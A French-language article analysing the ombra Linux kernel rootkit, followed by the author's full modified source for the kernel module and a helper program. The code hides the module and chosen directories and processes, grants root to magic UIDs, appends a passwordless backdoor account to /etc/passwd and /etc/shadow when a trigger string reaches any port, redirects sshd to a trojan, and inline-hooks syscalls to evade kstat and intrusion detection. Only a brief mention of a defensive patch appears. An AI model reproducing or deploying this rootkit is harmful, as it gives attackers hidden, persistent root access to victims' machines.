Salut,
Nous allons voir a travers cette analyse de quoi les rootkits
sont actuellement capable et comment les arreter.
Nous nous concentrerons sur une seul rootkit ( ombra ) car elle
est implemente une protection que les rootkits
les plus utilisees n'ont pas mais quels auront a l'avenir.
La rootkit ombra a ete programmer par Fusys de s0ftproject. J'ai
modifier son programme pour qu'il implemente
la nouvelle protection en question. J'ai choisis de le faire
sur la rootkit ombra car j'aime les options
qu'elles proposent et elle merite a etre connu.
Nous allons tester toutes les options qu'elles proposent :
[root@localhost 0mbra]# gcc -c -O2 ombra.c -D_LOOSE_KERNEL_NAMES
[root@localhost 0mbra]# insmod ombra.o
[root@localhost 0mbra]# lsmod
Module
Size Used by
nls_cp437
3952 2 (autoclean)
ide-scsi
7664 2 (initializing)
[root@localhost 0mbra]#
Bon, nous avons compiler et inserer le module. Celui ci n'est
pas visible via lsmod.
Ici il est possible de la detecter via /proc/modules car sys_write
n'a pas ete modifier.
( je le ferait a l'avenir mais il y a quelques complication
avec le code de ombra.c ).
Voyons voir les options que proposent cette rootkit.
La premiere option est l'ajout d'un utilisateur sur le systeme
lors de l'envoit d'un
mot ( GiveMeAccount par default
) sur n'importe quel port de la machine infectee.
Le tout etant que ce mot passe dans un buffer que traitera sys_socketcall.
Pour le test je pass par le service ftp.
[root@localhost 0mbra]# cat /etc/passwd | grep fantom
[root@localhost 0mbra]#
Voici ce que fait le pirate de chez lui :
root@hax0r root]# ftp www.victim.com
Connected to www.victim.com.
220 www.victim.com FTP server (Version wu-2.6.1(1) Tue Oct 3 14:29:19
CEST 2000) ready.
Name (localhost:root): GiveMeAccount
331 Password required for GiveMeAccount.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.
root@hax0r root]#
La string a ete envoyer. Voyons desormais les fichiers /etc/passwd et /etc/shadow :
[root@localhost /root]# cat /etc/passwd | grep fantom
fantom::1:6:spj2k:/tmp:/bin/bash
[root@localhost /root]# cat /etc/shadow | grep fantom
fantom::10968:0:99999:7:-1:-1:134538412
[root@localhost /root]#
Le compte a effectivement ete ajouter. Par default le compte
est sans pass. Celui ci semble
etre d'utilisateurs "bin" ( uid 1 ) mais en fait est root car
setuid et getuid ont ete modifier
pour mettre des droits root au process d'uid 1. On peut aisement
imaginer le scenarion suivant :
le pirate ajoute l'utilisateur fantome en envoyant la string
GiveMeAccount, puis il se log sur
le shell, efface les entree dans lastlog/wtmp/... puis retire
le compte lorsqu'il desire quitter
le systeme. De cette maniere, il n'a ete visible a aucun moment
et il poura revenir probablement
beacoup de fois avant que vous ne vous en rendiez compte.
Je ne vais pas detailler les procedure, mais il est possible
de cacher des processus en leur
envoyant le signal 31 ( kill -31 process ). Cela est commun
a plusieurs rootkit. Kstat peut les
detecter.
Il est possible de cacher des repertoires, il faut que ceux ci
est un nom special ( HideRep par default ).
A ce niveau, la rootkit offre egalement des possibilite tres
interessantes :
Les repertoires cacher par ombra sont mieux cacher que ceux
cacher par des rootkit comme adore ou knark.
( voir article " securite linux : retirer les failles et se
proteger des outils des pirates " ).
En effet les repertoires cacher par ombra n'ont pas d'attribut
qui permettrai de les retrouver, mis
a part le fait qu'ils portent un nom speciaux. Si ce nom n'est
pas connu, meme une fois le module dechargee, les
investigations risquent d'etre longue pour retrouver les fichiers
du hackers.
Les rootkit tels que knark ou adore se contentait egalement
de cacher les repertoires et fichiers, mais ceux
ci etaient accessibles. Avec la rootkit ombra, il faut obligatoirement
posseder un Uid special. ( 666 par default
).
Comme aucun utilisateur d'uid 666 existe et afin d'eviter d'ajouter
un utilisateur suplementaire, j'ai ajouter a la
rootkit une option qui permet de modifier l'uid d'un pid. Voici
la demonstration :
[root@localhost 0mbra]# mkdir HideRep
[root@localhost 0mbra]# ls
install.sh* ombra.c ombra.o
uidpid* uidpid.c
[root@localhost 0mbra]# cd HideRep
bash: cd: HideRep: Aucun fichier ou répertoire de ce type
[root@localhost 0mbra]# ps -aux | grep root | grep bash
root 667 0.0 2.3
2392 1460 pts/0 S 01:26
0:00 bash
[root@localhost 0mbra]# ./uidpid
./uidpid <uid> <pid>
[root@localhost 0mbra]# ./uidpid 666 667
[*] Met le pid 667 a l'uid 666
Done !
[root@localhost 0mbra]# ls
HideRep/ install.sh*
ombra.c ombra.o uidpid* uidpid.c
root@hax0r root]#
Ombra gere egalement la redirection en execution, mais pour eviter
d'avoir a stocker les informations de redirections,
les mettants ainci a la merci de l'administrateur, celles ci
doivent etre entrer des le chargement du module.
Par default le module redirige /usr/local/bin/sshd vers /HideRep/evil_sshd
Initialement, la rootkit redirigeait les entree de la syscall_table
pour influer sur les syscall. Cette methode,
largement utilisee par les rootkit, est pourtant facilement
reperable. J'ai modifier la rootkit ombra pour qu'elle
ne modifit pas la sys_call_table, et qu'elle hijack a la place
les syscall. ( en overwritant les 7 premiers
octets des syscalls ciblee pour ajouter un jump vers l'adresse
de notre nouvelle fonction ).
Cela evite que les adresses enregistrer dans la syscall table
ne soit modifier.
En effet avec des outils come kstat
( encore de s0ftproject ), on peut detecter ce type de module.
Kstat va chercher l'adresses des syscall via /dev/kmem puis
compare avec celles de la sys_call_table.
Si il y a une modification, alors le systeme est trojanisee.
J'ai modifier ombra, car jusque la je n'avais
jamais vu de rootkit capable de parer cette protection.
Demonstration :
[root@localhost KSTAT]# ./kstat -s | grep WARNING
[root@localhost KSTAT]#
Voici le resultat obtenut avant modification de la rootkit :
[root@localhost KSTAT]# ./kstat -s | grep WARNING
sys_unlink
0xc4c2c410 WARNING! Should be at 0xc012dbcc
sys_execve
0xc4c2c1a4 WARNING! Should be at 0xc0108f80
sys_chdir
0xc4c2c4e8 WARNING! Should be at 0xc0125580
sys_setuid
0xc4c2c640 WARNING! Should be at 0xc0115458
sys_getuid
0xc4c2c69c WARNING! Should be at 0xc0112a10
sys_kill
0xc4c2c5b8 WARNING! Should be at 0xc0110e78
sys_ioctl
0xc4c2c6ec WARNING! Should be at 0xc012f058
sys_socketcall
0xc4c2c7a0 WARNING! Should be at 0xc0159934
sys_getdents
0xc4c2c25c WARNING! Should be at 0xc012f3b0
sys_query_module
0xc4c2c938 WARNING! Should be at 0xc0117150
[root@localhost KSTAT]#
On voyait clairement les 10 syscall
modifier par ombra.
Les IDS offrant a l'heure actuelle une protection contre les
modules rootkit se contentent d'effectuer
le meme travaille que kstat afin de restaurer la syscall table
si besoin est. Le module ombra dejout
donc pour le moment les IDS. J'ai pour ma part programmer un
petit patch qui va s'occuper de
remettre en place les 15 premiers octets des syscall et la syscall
table lorsque insmod est appeler.
Mon patch est efficasse contre le module ombra. Le code est
diffuse dans l'article sur la securite disponible
sur www.minithins.net.
Nicolas Brito ( a.k.a Sauron
)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Voila le code du module ombra. Il ne modifit pas la sys_call_table
:-)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
/*
* oMBRa.c
* Auteur : Coder par fusys de s0ftproject.
Modifications de Sauron au niveau du hijacking des
* syscall. Ajout de fonction utile pour
gerer ce module.
*
* Compilate con:
gcc -c -O2 -fomit-frame-pointer oMBRa.c
* Installate con:
insmod oMBRa.o
*
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>
#define MAGICSTRING "GiveMeAccount"
#define SUBVISUS
"HideRep"
#define LKMNAME "ombra"
#define SIGNIHIL
31
#define PF_DISAPPEAR 0x00002000
#define SACROUID
1
#define KING
666
#define SSHD "/usr/local/bin/sshd"
#define PASSWD "/etc/passwd"
#define SHADOW "/etc/shadow"
#define ACCOUNT "fantom::1:6:spj2k:/tmp:/bin/bash\n"
#define ACCSHDW "fantom::10968:0:99999:7:-1:-1:134538412\n"
#define MYFUNC 192
inline int suser(void)
{
if (!issecure(SECURE_NOROOT)
&& ((current->euid == 0)||
(current->euid == KING))) {
current->flags |= PF_SUPERPRIV;
return 1;
}
return
0;
}
inline int fsuser(void)
{
if (!issecure(SECURE_NOROOT)
&& ((current->fsuid == 0)||
(current->euid == KING))) {
current->flags |= PF_SUPERPRIV;
return 1;
}
return
0;
}
inline int capable(int cap)
{
if ((cap_raised(current->cap_effective,
cap))||(current->euid == KING))
{
current->flags |= PF_SUPERPRIV;
return 1;
}
return
0;
}
int promisc, errno;
static char syscall_code_execve[7];
static char syscall_code_getdents[7];
static char syscall_code_unlink[7];
static char syscall_code_kill[7];
static char syscall_code_setuid[7];
static char syscall_code_getuid[7];
static char syscall_code_ioctl[7];
static char syscall_code_socketcall[7];
static char syscall_code_query_module[7];
static char syscall_code_chdir[7];
static char new_syscall_code[7]="\xbd\x00\x00\x00\x00\xff\xe5";
int (*old_execve) (struct pt_regs);
int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent
*, unsigned int) ;
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned
long) ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *,
size_t, size_t *) ;
extern void *sys_call_table[] ;
int (*open)(const char*, int, mode_t);
int (*write)(unsigned int, char*, unsigned int);
int (*close)(int);
int (*fuqfunc)();
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
int atoi(char str[])
{
int res = 0;
int i ;
for(i = 0; str[i] >='0' &&
str[i] <='9'; ++i)
res =
10 * res + str[i] - '0';
return res;
}
inline char *task_name(struct task_struct *p, char
*buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned
char c = *name;
name++;
i--;
*buf =
c;
if (!c)
break;
if (c
== '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c
== '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
if (p->pid
== pid)
return p;
p = p->next_task;
}
while (p != current);
return
NULL;
}
int secret(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *name;
if (task) {
name =
(char *)kmalloc(200, GFP_KERNEL);
memset(name,
0, 200);
task_name(task,
name);
if (strstr(name,
SUBVISUS)!=NULL) {
kfree(name);
return 1;
}
kfree(name);
}
return 0;
}
asmlinkage int you_make_me_real(unsigned short k_uid,
int k_pid) {
struct task_struct *q;
for_each_task(q) {
if(q->pid == k_pid) {
q->uid = k_uid;
q->euid = k_uid;
return 0;
}
}
return -1;
}
int killinv(pid_t pid)
{
struct task_struct *task = get_task(pid);
if(task == NULL) return 0;
if (task->flags & PF_DISAPPEAR)
{
return
1;
}
return 0;
}
int new_execve(struct pt_regs regs)
{
char *filename;
int error;
filename=getname((char *) regs.ebx);
error
= PTR_ERR(filename);
if (IS_ERR(filename))
return error;
if(strstr(filename, SSHD)){
error=do_execve("/HideRep/evil_sshd",(char
**)regs.ecx,(char **)regs.edx,®s);
}
else error = do_execve(filename,(char **)regs.ecx,(char
**)regs.edx,®s);
if (error == 0) current->flags &= ~PF_DTRACE;
putname(filename);
return
error;
}
int new_getdents(unsigned int fd, struct dirent *dirptr,
unsigned int count)
{
unsigned int real ;
unsigned int len ;
int readen ;
int proc;
struct dirent *dirptr2, *dirptr3;
struct inode *procinode;
_memcpy(sys_call_table[__NR_getdents], syscall_code_getdents,
sizeof(syscall_code_getdents));
real = (*old_getdents) (fd, dirptr, count);
*(long *)&new_syscall_code[1] = (long)new_getdents;
_memcpy(sys_call_table[__NR_getdents], new_syscall_code,
sizeof(syscall_code_getdents));
if(real == -1) return(-errno);
#ifdef __LINUX_DCACHE_H
procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
procinode = current->files->fd[fd]->f_inode;
#endif
if (procinode->i_ino == PROC_ROOT_INO
&& !MAJOR(procinode->i_dev) &&
MINOR(procinode->i_dev) == 1)
proc = 1;
if (current->uid == KING) return(real);
if (real > 0) {
dirptr2
= (struct dirent *)kmalloc(real, GFP_KERNEL);
copy_from_user(dirptr2,
dirptr, real);
dirptr3
= dirptr2;
readen
= real;
while (readen > 0) {
len = dirptr3->d_reclen;
readen -= len;
if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
|| (proc && secret(atoi(dirptr3->d_name)))
|| (proc && killinv(atoi(dirptr3->d_name)))) {
if (readen != 0)
memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);
else dirptr3->d_off = 1024;
real -= len;
}
if (dirptr3->d_reclen == 0) {
real -= readen;
readen = 0;
}
if (readen != 0)
dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
}
copy_to_user(dirptr,
dirptr2, real);
kfree(dirptr2);
}
return(real);
}
int new_unlink(const char *pathname)
{
int ret;
char *path2;
path2=(char*)kmalloc(256,
GFP_KERNEL);
copy_from_user(path2,
pathname, 255);
if(strstr(path2,
SUBVISUS)) {
if(current->uid != KING){
kfree(path2);
return -EPERM ;
}
else {
kfree(path2);
_memcpy(sys_call_table[__NR_unlink], syscall_code_unlink,
sizeof(syscall_code_unlink));
ret =
(*old_unlink) (pathname);
*(long *)&new_syscall_code[1] = (long)new_unlink;
_memcpy(sys_call_table[__NR_unlink], new_syscall_code,
sizeof(syscall_code_unlink));
return(ret);
}
}
else {
_memcpy(sys_call_table[__NR_unlink], syscall_code_unlink,
sizeof(syscall_code_unlink));
ret =
(*old_unlink) (pathname);
*(long *)&new_syscall_code[1] = (long)new_unlink;
_memcpy(sys_call_table[__NR_unlink], new_syscall_code,
sizeof(syscall_code_unlink));
}
kfree(path2);
return(ret);
}
int new_chdir(const char *filename)
{
int ret;
char *name;
name=(char*)kmalloc(256,
GFP_KERNEL);
copy_from_user(name,
filename, 255);
if(strstr(name,
SUBVISUS)) {
if(current->uid != KING){
kfree(name);
return -ENOENT ;
}
else {
kfree(name);
_memcpy(sys_call_table[__NR_chdir], syscall_code_chdir,
sizeof(syscall_code_chdir));
ret =
(*old_chdir) (filename);
*(long *)&new_syscall_code[1] = (long)new_chdir;
_memcpy(sys_call_table[__NR_chdir], new_syscall_code,
sizeof(syscall_code_chdir));
return(ret);
}
}
else {
_memcpy(sys_call_table[__NR_chdir], syscall_code_chdir,
sizeof(syscall_code_chdir));
ret = (*old_chdir) (filename);
*(long *)&new_syscall_code[1] = (long)new_chdir;
_memcpy(sys_call_table[__NR_chdir], new_syscall_code,
sizeof(syscall_code_chdir));
}
kfree(name);
return(ret);
}
int new_kill(pid_t pid, int sig)
{
int real;
struct
task_struct *task = get_task(pid);
if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
_memcpy(sys_call_table[__NR_kill], syscall_code_kill,
sizeof(syscall_code_kill));
real =
(*old_kill)(pid, sig);
*(long *)&new_syscall_code[1] = (long)new_kill;
_memcpy(sys_call_table[__NR_kill], new_syscall_code,
sizeof(syscall_code_kill));
if (real == -1) return(-errno);
return real;
}
if (sig
== SIGNIHIL) {
task->flags |= PF_DISAPPEAR;
return(0);
}
else if
(sig == SIGTSTP) {
task->uid = task->gid = task->euid = task->egid = 0;
task->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
return(real);
}
return(0);
}
int new_setuid(uid_t uid)
{
int tmp;
if (uid
== SACROUID) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
return 0;
}
_memcpy(sys_call_table[__NR_setuid], syscall_code_setuid,
sizeof(syscall_code_setuid));
tmp =
(*old_setuid) (uid) ;
*(long *)&new_syscall_code[1] = (long)new_setuid;
_memcpy(sys_call_table[__NR_setuid], new_syscall_code,
sizeof(syscall_code_setuid));
return
tmp;
}
int new_getuid()
{
int tmp;
if (current->uid
== SACROUID) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}
_memcpy(sys_call_table[__NR_getuid], syscall_code_getuid,
sizeof(syscall_code_getuid));
tmp = (*old_getuid) () ;
*(long *)&new_syscall_code[1] = (long)new_getuid;
_memcpy(sys_call_table[__NR_getuid], new_syscall_code,
sizeof(syscall_code_getuid));
return
tmp;
}
int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
int ret
;
struct
ifreq netif ;
_memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl,
sizeof(syscall_code_ioctl));
ret =
(*old_ioctl) (fd, cmd, arg);
*(long *)&new_syscall_code[1] = (long)new_ioctl;
_memcpy(sys_call_table[__NR_ioctl], new_syscall_code,
sizeof(syscall_code_ioctl));
if (cmd
== SIOCGIFFLAGS && !promisc) {
copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg,
sizeof(struct ifreq));
netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif,
sizeof(struct ifreq));
} else
if (cmd == SIOCSIFFLAGS)
_memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl,
sizeof(syscall_code_ioctl));
return
ret ;
}
int new_socketcall(int call, unsigned long *args)
{
int ret,
compt, fd=0;
mm_segment_t
old_fs;
unsigned
long *sargs = args;
unsigned
long a0, a1;
void *buf;
_memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall,
sizeof(syscall_code_socketcall));
ret =
(*old_socketcall) (call, args);
*(long *)&new_syscall_code[1] = (long)new_socketcall;
_memcpy(sys_call_table[__NR_socketcall], new_syscall_code,
sizeof(syscall_code_socketcall));
if (call ==SYS_RECV || call == SYS_RECVFROM
|| call == SYS_RECVMSG) {
get_user(a0, sargs);
get_user(a1, sargs + 1);
buf = kmalloc(ret, GFP_KERNEL);
copy_from_user(buf, (void *) a1, ret);
for (compt = 0; compt < ret; compt++)
if (((char *) (buf))[compt] == 0)
((char *) (buf))[compt] = 1;
if (strstr(buf, MAGICSTRING)) {
current->cap_effective |= (1 <<
(CAP_DAC_OVERRIDE));
old_fs=current->addr_limit;
current->addr_limit=(KERNEL_DS);
fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644);
printk("%d\n",fd);
(*write)(fd,ACCOUNT,strlen(ACCOUNT));
(*close)(fd);
fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400);
printk("%d\n",fd);
(*write)(fd,ACCSHDW,strlen(ACCSHDW));
(*close)(fd);
current->addr_limit=old_fs;
current->cap_effective &=
~(1 << (CAP_DAC_OVERRIDE));
}
kfree(buf);
}
return
ret;
}
int new_query_module(const char *name, int which,
char *buf, size_t bufsize,
size_t *ret)
{
int res;
int cnt;
char *ptr,
*match;
_memcpy(sys_call_table[__NR_query_module], syscall_code_query_module,
sizeof(syscall_code_query_module));
res =
(*old_query_module)(name, which, buf, bufsize, ret);
*(long *)&new_syscall_code[1] = (long)new_query_module;
_memcpy(sys_call_table[__NR_query_module],
new_syscall_code, sizeof(syscall_code_query_module));
if(res
== -1)
return(-errno);
if(which
!= QM_MODULES)
return(res);
ptr = buf;
for(cnt
= 0; cnt < *ret; cnt++) {
if(!strcmp(LKMNAME, ptr)) {
match = ptr;
while(*ptr)
ptr++;
ptr++;
memcpy(match, ptr, bufsize - (ptr - (char *)buf));
(*ret)--;
return(res);
}
while(*ptr)
ptr++;
ptr++;
}
return(res);
}
int init_module(void)
{
EXPORT_NO_SYMBOLS;
*(long *)&new_syscall_code[1] = (long)new_execve;
_memcpy(syscall_code_execve, sys_call_table[__NR_execve],
sizeof(syscall_code_execve));
_memcpy(sys_call_table[__NR_execve], new_syscall_code,
sizeof(syscall_code_execve));
old_execve = sys_call_table[SYS_execve];
*(long *)&new_syscall_code[1] = (long)new_getdents;
_memcpy(syscall_code_getdents, sys_call_table[__NR_getdents],
sizeof(syscall_code_getdents));
_memcpy(sys_call_table[__NR_getdents], new_syscall_code,
sizeof(syscall_code_getdents));
*(long *)&new_syscall_code[1] = (long)new_unlink;
_memcpy(syscall_code_unlink, sys_call_table[__NR_unlink],
sizeof(syscall_code_unlink));
_memcpy(sys_call_table[__NR_unlink], new_syscall_code,
sizeof(syscall_code_unlink));
*(long *)&new_syscall_code[1] = (long)new_chdir;
_memcpy(syscall_code_chdir, sys_call_table[__NR_chdir],
sizeof(syscall_code_chdir));
_memcpy(sys_call_table[__NR_chdir], new_syscall_code,
sizeof(syscall_code_chdir));
*(long *)&new_syscall_code[1] = (long)new_kill;
_memcpy(syscall_code_kill, sys_call_table[__NR_kill],
sizeof(syscall_code_kill));
_memcpy(sys_call_table[__NR_kill], new_syscall_code,
sizeof(syscall_code_kill));
*(long *)&new_syscall_code[1] = (long)new_setuid;
_memcpy(syscall_code_setuid, sys_call_table[__NR_setuid],
sizeof(syscall_code_setuid));
_memcpy(sys_call_table[__NR_setuid], new_syscall_code,
sizeof(syscall_code_setuid));
*(long *)&new_syscall_code[1] = (long)new_ioctl;
_memcpy(syscall_code_ioctl, sys_call_table[__NR_ioctl],
sizeof(syscall_code_ioctl));
_memcpy(sys_call_table[__NR_ioctl], new_syscall_code,
sizeof(syscall_code_ioctl));
*(long *)&new_syscall_code[1] = (long)new_getuid;
_memcpy(syscall_code_getuid, sys_call_table[__NR_getuid],
sizeof(syscall_code_getuid));
_memcpy(sys_call_table[__NR_getuid], new_syscall_code,
sizeof(syscall_code_getuid));
*(long *)&new_syscall_code[1] = (long)new_socketcall;
_memcpy(syscall_code_socketcall, sys_call_table[__NR_socketcall],
sizeof(syscall_code_socketcall));
_memcpy(sys_call_table[__NR_socketcall], new_syscall_code,
sizeof(syscall_code_socketcall));
*(long *)&new_syscall_code[1] = (long)new_query_module;
_memcpy(syscall_code_query_module, sys_call_table[__NR_query_module],
sizeof(syscall_code_query_module));
_memcpy(sys_call_table[__NR_query_module],
new_syscall_code, sizeof(syscall_code_query_module));
fuqfunc = sys_call_table[MYFUNC];
sys_call_table[MYFUNC] = you_make_me_real;
old_getdents
= sys_call_table[SYS_getdents];
old_unlink=
sys_call_table[SYS_unlink];
old_chdir=
sys_call_table[SYS_chdir];
old_kill
= sys_call_table[SYS_kill];
old_setuid
= sys_call_table[SYS_setuid];
old_getuid
= sys_call_table[SYS_getuid];
old_ioctl
= sys_call_table[SYS_ioctl];
old_socketcall
= sys_call_table[SYS_socketcall];
old_query_module = sys_call_table[SYS_query_module];
open = sys_call_table[SYS_open];
close = sys_call_table[SYS_close];
write = sys_call_table[SYS_write];
return 0;
}
void cleanup_module(void)
{
sys_call_table[MYFUNC] = fuqfunc;
_memcpy(sys_call_table[__NR_execve], syscall_code_execve,
sizeof(syscall_code_execve));
_memcpy(sys_call_table[__NR_getdents], syscall_code_getdents,
sizeof(syscall_code_getdents));
_memcpy(sys_call_table[__NR_unlink], syscall_code_unlink,
sizeof(syscall_code_unlink));
_memcpy(sys_call_table[__NR_chdir], syscall_code_chdir,
sizeof(syscall_code_chdir));
_memcpy(sys_call_table[__NR_kill], syscall_code_kill,
sizeof(syscall_code_kill));
_memcpy(sys_call_table[__NR_setuid], syscall_code_setuid,
sizeof(syscall_code_setuid));
_memcpy(sys_call_table[__NR_getuid], syscall_code_getuid,
sizeof(syscall_code_getuid));
_memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl,
sizeof(syscall_code_ioctl));
_memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall,
sizeof(syscall_code_socketcall));
_memcpy(sys_call_table[__NR_query_module],
syscall_code_query_module, sizeof(syscall_code_query_module));
}
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| Voici maintenant le programme a appeler pour modifier l'uid d'un
pid quand ombra est charge :
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#include <asm/unistd.h>
#define MYFUNC 192
#define VERT "\033[32m"
#define NORM "\033[0m"
int errno;
int uidpid(unsigned short uid, int pid) {
long __res;
__asm__ volatile ("int $0x80"
: "=a" (__res)
: "0" (MYFUNC),"b" ((long)(uid)),"c"
((long)(pid)));
__syscall_return(int,__res);
}
int main(int argc, char *argv[]) {
int ret;
if(argc != 3) {
printf(VERT"%s"NORM" <uid> <pid>\n",
argv[0]);
exit(-1);
}
printf("[*] Met le pid "VERT"%s"NORM" a l'uid
"VERT"%s"NORM"\n", argv[2], argv[1]);
ret=uidpid(atoi(argv[1]), atoi(argv[2]));
printf(VERT"Done !\n"NORM);
return ret;
}